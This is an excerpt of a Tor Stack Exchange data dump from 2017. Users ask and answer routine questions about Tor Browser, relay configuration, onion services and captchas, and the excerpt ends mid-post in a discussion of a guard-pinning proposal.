  <row Id="14957" PostTypeId="2" ParentId="14956" CreationDate="2017-06-09T02:05:01.350" Score="2" Body="&lt;p&gt;No, Tor chooses nodes randomly. There are a lot of Tor nodes in Europe. So, you'll often see that your connections are using European nodes. (So does everybody else.)&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2017-06-09T02:05:01.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14958" PostTypeId="1" CreationDate="2017-06-09T08:01:28.133" Score="1" ViewCount="332" Body="&lt;p&gt;&#xA;    &#xA;    &#xA;    &#xA;    &#xA;    &#xA;&lt;/p&gt;&#xA;&#xA;The Installer&#xA;automatically installs the 32Bit Version on my 64Bit Windows10 PC.&lt;/p&gt;&#xA;&#xA;How can I install&#xA;the 64Bit Version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="17812" LastActivityDate="2017-06-09T12:41:12.577" Title="Install of 64Bit-Version" Tags="|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2017-06-10T09:49:14.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="14960" PostTypeId="2" ParentId="14958" CreationDate="2017-06-09T12:41:12.577" Score="0" Body="&lt;p&gt;Tor is only distributed as a 32 bit application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit to &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;canonizing ironize&lt;/a&gt; for answering this &lt;a href=&quot;https://tor.stackexchange.com/questions/14591/how-to-install-64-bit-tor-browser-on-windows-10&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser is currently only distributed as a 32bit program for&#xA;  Windows. This is quite common for Windows applications, which natively&#xA;  supports 32bit applications on its 64bit operating system.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Mozilla only started publishing &lt;a href=&quot;https://blog.mozilla.org/futurereleases/2015/12/15/firefox-64-bit-for-windows-available/&quot; rel=&quot;nofollow noreferrer&quot;&gt;64bit Firefox for Windows in late&#xA;  2015&lt;/a&gt;&#xA;  and the Tor Browser team didn't consider the code base stable enough&#xA;  to be a candidate &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/20636&quot; rel=&quot;nofollow noreferrer&quot;&gt;until&#xA;  recently&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It's not currently available but it's likely that they will eventually&#xA;  be introduced.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17793" LastActivityDate="2017-06-09T12:41:12.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14962" PostTypeId="1" CreationDate="2017-06-09T16:49:42.580" Score="0" ViewCount="680" Body="&lt;p&gt;Can Google Captcha trace tor users? It asked me to copy and past this and that bla bla bla. But it's from Google. Am I being tricked into revealing my IP? &lt;/p&gt;&#xA;" OwnerUserId="17740" LastActivityDate="2019-08-30T04:04:30.443" Title="Danger? I am trying to access a site that has Google Captcha" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14964" PostTypeId="2" ParentId="14936" CreationDate="2017-06-09T22:12:16.487" Score="2" Body="&lt;p&gt;You could export settings and bookmarks by copying the files from somewhere in &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser/Browser/TorBrowser/Data/Browser/profile.default&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17820" LastActivityDate="2017-06-09T22:12:16.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14965" PostTypeId="1" CreationDate="2017-06-10T02:14:52.040" Score="-1" ViewCount="62" Body="&lt;p&gt;What the heck is a relay &amp;amp; an Exit relay?&#xA;I assume that if I have to pay for bandwidth then operating as an exit relay is both costly &amp;amp; unwise?&#xA;How can I determine whether I am set up as an exit relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read all the stuff presented, but clearly it's not intended to help the uninitiated.&#xA;I gave up attempting to check the Tor download signature file, here again complexity seems to be the objective. &#xA;In 2017 no-one should ever have to contemplate using a command line sequence of instructions to simply verify a file has the correct signature.&#xA;Frankly not understandable to anyone even with some modest IT skills.&lt;/p&gt;&#xA;" OwnerUserId="17821" LastActivityDate="2017-06-10T10:41:27.213" Title="Difficulties right off the bat" Tags="|exit-relays|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14967" PostTypeId="1" CreationDate="2017-06-10T05:42:52.640" Score="1" ViewCount="13138" Body="&lt;p&gt;I had Tor Browser 6.5.2 running perfectly and after the upgrade to 7.0 stopped working, tried disabling the antivirus but Tor Browser is not starting at all, please help, my OS is Windows 10.&lt;/p&gt;&#xA;" OwnerUserId="17824" LastActivityDate="2017-07-11T07:49:39.720" Title="Tor Browser 7 is not starting" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14968" PostTypeId="1" AcceptedAnswerId="15068" CreationDate="2017-06-10T09:28:03.377" Score="2" ViewCount="779" Body="&lt;p&gt;How to remove all bandwidth limits for Tor relay?&lt;br&gt;&#xA;Is there some kind of an torrc option to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;P.S.&lt;/em&gt;&lt;/strong&gt; What I'm trying to do is to give tor relay as much traffic&lt;br&gt;&#xA; and resource power as I could. Also sorry for my bad English, I'm Russian.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-07-19T12:10:22.227" Title="How to remove all bandwidth limits for Tor relay?" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14970" PostTypeId="2" ParentId="14965" CreationDate="2017-06-10T10:41:27.213" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What the heck is a relay &amp;amp; an Exit relay?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Read about it at: &lt;a href=&quot;https://www.eff.org/torchallenge/what-is-tor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/torchallenge/what-is-tor.html&lt;/a&gt;&lt;br&gt;&#xA;This is the simplest description of what is tor relay I could find.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I determine whether I am set up as an exit relay?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First, find out were your config file (torrc) is located:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For Windows its &lt;code&gt;%AppData%\Roaming\tor\torrc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;For Linux its &lt;code&gt;/etc/tor/torrc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you find uncommented line like that: &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt; that means&lt;br&gt;&#xA;that you are &lt;em&gt;not&lt;/em&gt; going to be an exit relay.&lt;br&gt;&#xA;Add this line if you don't want to be an exit relay. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also It's very dangerous to host an exit relay.&lt;br&gt;&#xA;Find out more about it here: &lt;a href=&quot;https://blog.torproject.org/running-exit-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/running-exit-node&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I gave up attempting to check the Tor download signature file, here again complexity seems to be the objective. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This was already asked on our forms: &lt;a href=&quot;https://tor.stackexchange.com/questions/2078/tor-browser-how-to-verify-signature&quot;&gt;Tor Browser-how to verify signature?&lt;/a&gt;&lt;br&gt;&#xA;If you want you could use GUI like Kleopatra.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-06-10T10:41:27.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14971" PostTypeId="2" ParentId="12327" CreationDate="2017-06-10T15:08:38.313" Score="1" Body="&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt; Tor is anonymous network. Everyone who use it is anonymous.&#xA;But you can prevent this attack from happening in the future.&lt;/p&gt;&#xA;&lt;p&gt;Quoting best answer from &lt;a href=&quot;https://stackoverflow.com/questions/9780038/is-it-possible-to-block-tor-users&quot;&gt;Is it possible to block Tor users?&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor is much easier to block than other open proxies since the list of exit IP addresses is known and published. Read the answer at &lt;a href=&quot;https://www.torproject.org/docs/faq-abuse.html.en#Bans&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq-abuse.html.en#Bans&lt;/a&gt; and if you still want to block users from accessing your site you could use &lt;a href=&quot;https://www.torproject.org/projects/tordnsel.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/tordnsel.html.en&lt;/a&gt; or the Bulk Exit List exporting tool.&lt;/p&gt;&#xA;&lt;p&gt;If you use the Bulk Exit List exporting tool be sure to get a fresh list often and expire the old blocks since the list of IP addresses change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Best example of this is Wikipedia.&lt;br /&gt;&#xA;Wikipedia don't allow to edit or create any new page while you are using Tor and not being logged-in.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-06-10T16:34:45.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14972" PostTypeId="1" CreationDate="2017-06-10T17:34:39.017" Score="1" ViewCount="410" Body="&lt;p&gt;Is it possible to change the IP address without restarting the Tor Browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, each time we start the Tor Browser, it connects through a new node. Would it be possible to do the following?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In a Browser such as FireFox, set the SOCKS5 proxy to 127.0.0.1 and port 9050.&lt;/li&gt;&#xA;&lt;li&gt;Keep the Browser Session running.&lt;/li&gt;&#xA;&lt;li&gt;Edit the torrc file with new value for ExitNodes and each time restart the tor service.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {US}&#xA;service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this, edit the node to some other country:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {fr}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then restart Tor service again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17831" LastEditorUserId="88" LastEditDate="2017-06-20T22:03:27.243" LastActivityDate="2017-06-20T22:03:27.243" Title="Connect from New Country without restarting TOR Browser" Tags="|tor-browser-bundle|firefox|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14973" PostTypeId="2" ParentId="14933" CreationDate="2017-06-10T17:37:22.310" Score="1" Body="&lt;h1&gt;This is not what Tor is about.&lt;/h1&gt;&#xA;&lt;p&gt;Going only through 1 IP is &lt;strong&gt;not&lt;/strong&gt; secure at all. This IP could capture&#xA;all of your in-coming and out-coming traffic easily.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zqDzG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqDzG.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://www.wikileaks.org/w/images/c/ca/How_Tor_Works_2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikileaks.org&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;As with Tor, you traffic goes through 3 different servers. It's greatly saves your privacy.&lt;/p&gt;&#xA;&lt;p&gt;But if you don't care about your privacy, you could use any public proxy.&#xA;I'm not going to tell you how to find them. Just Google it.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="14997" LastEditDate="2023-02-25T17:18:43.303" LastActivityDate="2023-02-25T17:18:43.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14974" PostTypeId="2" ParentId="6577" CreationDate="2017-06-10T17:45:42.957" Score="0" Body="&lt;p&gt;It's was answered here: &lt;a href=&quot;https://tor.stackexchange.com/questions/8954/connect-directly-with-tor-browser-as-in-bypass-tor&quot;&gt;Connect directly with Tor Browser (as in, bypass Tor)?&lt;/a&gt;.&#xA;Quoting the best answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have to disable Torbutton.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;At the top of the connection settings dialog, it indicates this: &quot;Disable Torbutton to change these settings.&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In &lt;code&gt;about:addons&lt;/code&gt; you can disable &lt;em&gt;Torbutton&lt;/em&gt; and &lt;em&gt;TorLauncher&lt;/em&gt; and then quit/relaunch the browser. Then you can set your own proxy settings or none in the network connection settings.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Edit to add:&lt;/strong&gt; If you don't use a proxy, you must also disable &lt;code&gt;Remote DNS&lt;/code&gt; in network connection settings. Even thought it is greyed out when &lt;code&gt;No Proxy&lt;/code&gt; is selected, it must be unchecked.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Edit: Better and more complete instructions:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Type in &lt;code&gt;about:addons&lt;/code&gt; in the URL bar.    &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;In that page, disable &lt;strong&gt;Torbutton&lt;/strong&gt; and &lt;strong&gt;TorLauncher&lt;/strong&gt; add-ons.    &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Restart the browser as prompted.  &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Click on &lt;strong&gt;Menu&lt;/strong&gt; (3 horizontal bars logo located at top-left) &gt; &lt;strong&gt;Preferences&lt;/strong&gt;/&lt;strong&gt;Options&lt;/strong&gt; &gt;&#xA;  &lt;strong&gt;Advance vertical tab&lt;/strong&gt; &gt; &lt;strong&gt;Network horizontal tab&lt;/strong&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Click on the &lt;strong&gt;Settings&lt;/strong&gt; button on the right of &quot;Connection&quot;&#xA;  label (while you are in that tab) which opens up the proxy configuration window.    &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Untick &lt;strong&gt;Remote DNS&lt;/strong&gt; checkbox (At center-right of the window).  &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Change your proxy settings accordingly to your own proxy or to no proxy&#xA;  and click OK.  &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Congratulations have de-torified the Tor browser!&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;P.S.&lt;/em&gt;&lt;/strong&gt; Thanks you, &lt;a href=&quot;https://tor.stackexchange.com/users/16657/peter-gerber&quot;&gt;Peter Gerber&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="17825" LastEditDate="2017-06-11T10:40:02.610" LastActivityDate="2017-06-11T10:40:02.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14975" PostTypeId="2" ParentId="14962" CreationDate="2017-06-10T17:54:06.887" Score="1" Body="&lt;p&gt;Google has seen some suspicious traffic from the exit node your using.&lt;br&gt;&#xA;While you don't log-in into accounts with that you have been entering without Tor and other stuff like that, you are anonymous.&lt;br&gt;&#xA;Google is just checking if you are the bot or a human.&lt;br&gt;&#xA;If you want to be sure that you are indeed anonymous, press Ctrl+Shift+U or press &lt;code&gt;New identity&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-06-10T17:54:06.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14977" PostTypeId="2" ParentId="14967" CreationDate="2017-06-10T21:31:19.743" Score="4" Body="&lt;p&gt;I had the same issue - on investigation the the cause the problem on my pc (Win10 x64) appears to be linked to an incompatibility between the latest versions of the Tor browser and the IBM Trusteer Rapport banking sercurity software. I found that disabling the Trusteer software/ services allowed the Tor borwser software to start normally. However, after re-enabling the the Trusteer software/ services I was not able to start the Tor browser again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also had this problem starting with TOR 7.0.1 and reverted to the 6.5.1 version.  I checked the Trusteer status - I'm running Trusteer Emerald Build 1804.121.  Check &lt;a href=&quot;https://www.ibm.com/support/knowledgecenter/en/SS7MJT_1507/ug/t_Stopping_Rapport.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ibm.com/support/knowledgecenter/en/SS7MJT_1507/ug/t_Stopping_Rapport.html&lt;/a&gt; for instructions on stopping and starting Trusteer.  Stopping it while running TOR worked for me with TOR 7.02.  Restarting it was just as straightforward.  Thanks for the tip!  Awesome. [Ron]&lt;/p&gt;&#xA;" OwnerUserId="17836" LastEditorUserId="17975" LastEditDate="2017-07-11T07:49:39.720" LastActivityDate="2017-07-11T07:49:39.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14978" PostTypeId="1" CreationDate="2017-06-10T21:31:59.570" Score="4" ViewCount="2146" Body="&lt;p&gt;How would I be able to access a tor hidden service without the use of TBB? For example, an RTMP server hosted through Tor. In this scenario, I'd like to access the RTMP server using VLC, but VLC would not be able to use the .onion url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way in which I'd be able to use such .onion urls outside of TBB? Possibly accessing .onion sites by using tor system-wide somehow?&lt;/p&gt;&#xA;" OwnerUserId="17835" LastActivityDate="2019-02-10T19:59:55.857" Title="Access .Onion links using programs other than Tor Browser? (VLC, etc)" Tags="|tor-browser-bundle|onion-services|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14980" PostTypeId="1" AcceptedAnswerId="14985" CreationDate="2017-06-11T14:58:46.863" Score="0" ViewCount="148" Body="&lt;p&gt;I just started a new hidden service on tor and I just wanted to ask what's the best way to ensure that people know it exists??? &lt;/p&gt;&#xA;" OwnerUserId="17843" LastActivityDate="2017-06-11T17:22:29.543" Title="New hidden service want exposure" Tags="|onion-services|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14981" PostTypeId="2" ParentId="14980" CreationDate="2017-06-11T15:13:20.547" Score="0" Body="&lt;p&gt;Just, try to connect using your Tor browser bundle. If you configured your hidden service right, you should see you server up and running.&lt;br&gt;&#xA;If not, then you should check if you torrc is correct. Here is how you do it:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Type &lt;code&gt;tor --verify-config&lt;/code&gt; or in Windows &lt;code&gt;tor --verify-config | more&lt;/code&gt;&lt;br&gt;&#xA;to check your settings.  &lt;/li&gt;&#xA;&lt;li&gt;Check for output for this line: &lt;code&gt;Configuration was valid&lt;/code&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;If there is no such line, you should check your torrc file.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; webpage might help you.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="17825" LastEditDate="2017-06-11T17:13:22.140" LastActivityDate="2017-06-11T17:13:22.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14982" PostTypeId="1" CreationDate="2017-06-11T15:47:20.920" Score="0" ViewCount="47" Body="&lt;p&gt;Would it be possible for the developers to put new versions into .rar or 7zip?&#xA;I cannot get the .mar files to open. It seems like they will only work with the newer versions of MS office. I even tried opening in firefox and it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Betty&lt;/p&gt;&#xA;" OwnerUserId="15092" LastActivityDate="2017-06-12T01:56:33.883" Title="re .mar files000" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14983" PostTypeId="1" AcceptedAnswerId="15019" CreationDate="2017-06-11T16:08:00.893" Score="1" ViewCount="474" Body="&lt;p&gt;I'm running Tor as a daemon and enabled the syslog. The Tor daemon is running well as a socks proxy server and sending all logs to /var/log/messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to make Tor to write the log through syslog to one of the local[0-7] syslog facility, then I can clearly read the Tor specific logs in a single log file, for example /var/log/torlog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems there is no way to assign the syslog facility. Does anyone know how to assign syslog facility ?&lt;/p&gt;&#xA;" OwnerUserId="17844" LastActivityDate="2017-06-14T15:42:14.530" Title="How to assign syslog facility of Tor?" Tags="|configuration|socks|torsocks|log|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14984" PostTypeId="2" ParentId="14893" CreationDate="2017-06-11T16:13:35.823" Score="1" Body="&lt;p&gt;Trusteer Rapport Endpoint protection is related to banking online info at &#xA;&lt;a href=&quot;https://duckduckgo.com/?q=what+is+trusteer+rapport+endpoint+protection&amp;amp;t=ffnt&amp;amp;ia=web&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://duckduckgo.com/?q=what+is+trusteer+rapport+endpoint+protection&amp;amp;t=ffnt&amp;amp;ia=web&lt;/a&gt;&#xA;I recently had an update to this about the same time TOR updated to version 7&#xA;and experienced the lack of connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To cure this find Trusteer Endpoint in all programs click on the file and you will see start/stop and console click on stop copy the code into the box enter&#xA;and then it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should start this again before banking as it is an extra layer of protection&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards hope this works for you all&lt;/p&gt;&#xA;" OwnerUserId="17845" LastActivityDate="2017-06-11T16:13:35.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14985" PostTypeId="2" ParentId="14980" CreationDate="2017-06-11T17:22:29.543" Score="1" Body="&lt;p&gt;Your options are the same as for a clearnet site, advertising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use (anonymous) social media accounts to advertise the site. If you want to stay anonymous, make sure there is nothing in the social media profile that could lead to your identity (use a new email created over Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tell people that might be interested in your site about it. Again, if you want to stay anonymous, you must be anonymous to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advertise on other hidden services. If other hidden services have a link to your site, it will be indexed by hidden service search engines.&lt;/p&gt;&#xA;" OwnerUserId="17363" LastActivityDate="2017-06-11T17:22:29.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14986" PostTypeId="2" ParentId="14978" CreationDate="2017-06-11T17:24:36.293" Score="2" Body="&lt;p&gt;It's easy.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Goto Tools -&gt; Preferences and set &lt;code&gt;show setting&lt;/code&gt; to &lt;strong&gt;all&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Goto Input/Codecs -&gt; Socks Proxy.&lt;/li&gt;&#xA;&lt;li&gt;Type in your proxy address: &lt;code&gt;127.0.0.1:9050&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that, you should be able to access any .onion links using VLC Player.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="25024" LastEditDate="2019-02-10T19:59:55.857" LastActivityDate="2019-02-10T19:59:55.857" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="14987" PostTypeId="2" ParentId="14515" CreationDate="2017-06-11T17:48:10.783" Score="4" Body="&lt;p&gt;The warning is from DuckDuckGo. It means that your browser still has to connect to YouTube even if you watch the video &quot;here&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is what does DuckDuckGo mean by this. Are they given&#xA;  youtube my IP address? What exactly do they mean by &quot;does not let you&#xA;  watch videos anonymously&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since you are using Tor, neither DuckDuckGo nor YouTube knows your IP address. The warning is mostly for users who aren't using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YouTube does not block Tor users, so you can actually watch videos anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still ways that YouTube/Google could use to track you, like tracking your behavior on their site (if you chose to watch the video on YouTube), or if you log in with a non-anonymous account (doesn't have to be on YouTube/Google, Google uses trackers on many sites).&lt;/p&gt;&#xA;" OwnerUserId="17363" LastEditorUserId="17363" LastEditDate="2017-06-11T17:57:34.173" LastActivityDate="2017-06-11T17:57:34.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14989" PostTypeId="2" ParentId="14955" CreationDate="2017-06-11T18:12:10.727" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What was the previous TBB version doing that I wasn't seeing so many&#xA;  Cloudflare captchas?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to these two comments from &lt;a href=&quot;https://blog.torproject.org/comment/269009#comment-269009&quot; rel=&quot;nofollow noreferrer&quot;&gt;arma&lt;/a&gt; and &lt;a href=&quot;https://blog.torproject.org/comment/268994#comment-268994&quot; rel=&quot;nofollow noreferrer&quot;&gt;gk&lt;/a&gt;, the fix was on Cloudflare's side, and they haven't updated it for Tor Browser 7.0.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Apparently Cloudflare had done some hack on their side to handle Tor&#xA;  Browser better (i.e. trigger fewer false positives), but they haven't&#xA;  updated it for Tor Browser 7.0. We hear they're in the process of&#xA;  updating it. Soon I hope!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/comment/268994#comment-268994&quot; rel=&quot;nofollow noreferrer&quot;&gt;gk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The graphical passwords (I assume you mean things like &quot;Select all the&#xA;  cars&quot;-style puzzles) are provided by Cloudflare. They are working on a&#xA;  fix for this problem. It should be ready next week if all goes well.&#xA;  Not sure how long it will take to get it rolled out globally, though.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17363" LastActivityDate="2017-06-11T18:12:10.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14991" PostTypeId="2" ParentId="14209" CreationDate="2017-06-11T23:35:20.470" Score="-1" Body="&lt;p&gt;Here is how a hidden service rendezvous circuit currently looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                 -&amp;gt; middle_1 -&amp;gt; middle_A&#xA;                 -&amp;gt; middle_2 -&amp;gt; middle_B&#xA;                 -&amp;gt; middle_3 -&amp;gt; middle_C&#xA;                 -&amp;gt; middle_4 -&amp;gt; middle_D&#xA;   HS -&amp;gt; guard   -&amp;gt; middle_5 -&amp;gt; middle_E -&amp;gt; Rendezvous Point&#xA;                 -&amp;gt; middle_6 -&amp;gt; middle_F&#xA;                 -&amp;gt; middle_7 -&amp;gt; middle_G&#xA;                 -&amp;gt; middle_8 -&amp;gt; middle_H&#xA;                 -&amp;gt;   ...    -&amp;gt;  ...&#xA;                 -&amp;gt; middle_n -&amp;gt; middle_n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this proposal pins the two middles nodes to a much more restricted&#xA;set, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                              -&amp;gt; guard_3A_A&#xA;                 -&amp;gt; guard_2_A -&amp;gt; guard_3A_B&#xA;                              -&amp;gt; guard_3A_C -&amp;gt; Rendezvous Point&#xA;   HS -&amp;gt; guard_1&#xA;                              -&amp;gt; guard_3B_D&#xA;                 -&amp;gt; guard_2_B -&amp;gt; guard_3B_E&#xA;                              -&amp;gt; guard_3B_F -&amp;gt; Rendezvous Point&#xA;&#xA;rotation period:&#xA;         (3 months)  (~11 days)  (12 hours)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the third level guards are partitioned into buckets such that&#xA;they are only used with one specific second-level guard. In this way,&#xA;we ensure that even if an adversary is able to execute a Sybil attack&#xA;against the third 